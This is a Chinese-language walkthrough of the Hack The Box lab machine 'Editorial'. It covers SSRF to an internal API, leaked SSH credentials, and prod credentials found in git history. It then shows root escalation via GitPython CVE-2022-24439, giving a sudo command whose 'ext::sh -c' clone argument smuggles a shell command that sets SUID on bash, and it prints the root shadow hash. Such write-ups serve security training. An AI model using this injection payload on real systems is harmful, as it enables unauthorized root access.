基本信息
- https://app.hackthebox.com/machines/Editorial
- 10.10.11.20
端口扫描
22和80:
1 | nmap -sC -sV 10.10.11.20 |
80
需要加hosts:
1 | 10.10.11.20 editorial.htb |
图书相关:
Publish
Publish这里有输入url和上传文件的地方:
测试请求,看起来上传的文件无所谓,但URL会被请求到,响应的链接访问就是对应url的内容:
SSRF
这种场景,常规ssrf,请求失败就是一张默认图片,成功的响应有点区别,发现端口5000:
操作要快,有自动清理:
api
5000端口得到一些api,后面一步步请求:
1 | /api/latest/metadata/messages/promos |
在authors中得到一组账号密码:
1 | dev |
user flag
这组账号密码可以ssh,得到user flag:
信息
dev用户目录中apps是空的,查看git log发现历史操作:
在其中一次变更中得到prod的账号密码:
1 | git diff 1e84a036b2f33c59e2390730699a488c65643d28 b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae |
prod
切换到prod用户,可以sudo运行指定文件:
GitPython
查看代码发现就是clone给定的参数url,但用到的GitPython库是3.1.29,可以搜到已知漏洞:
- Remote Code Execution (RCE) in gitpython | CVE-2022-24439 | Snyk
https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858
提权 & root flag
参考公开poc自己改一下命令即可:
1 | sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c chmod% +s% /bin/bash" |
shadow
1 | root:$y$j9T$PNijPFzQRd1/Yx6sr4HqS.$ITtQp.k4TN0RY1ADcvcSb.b9UcxD6Jx0MDNL3odgsV9:19878:0:99999:7::: |
参考资料
- Remote Code Execution (RCE) in gitpython | CVE-2022-24439 | Snyk
https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858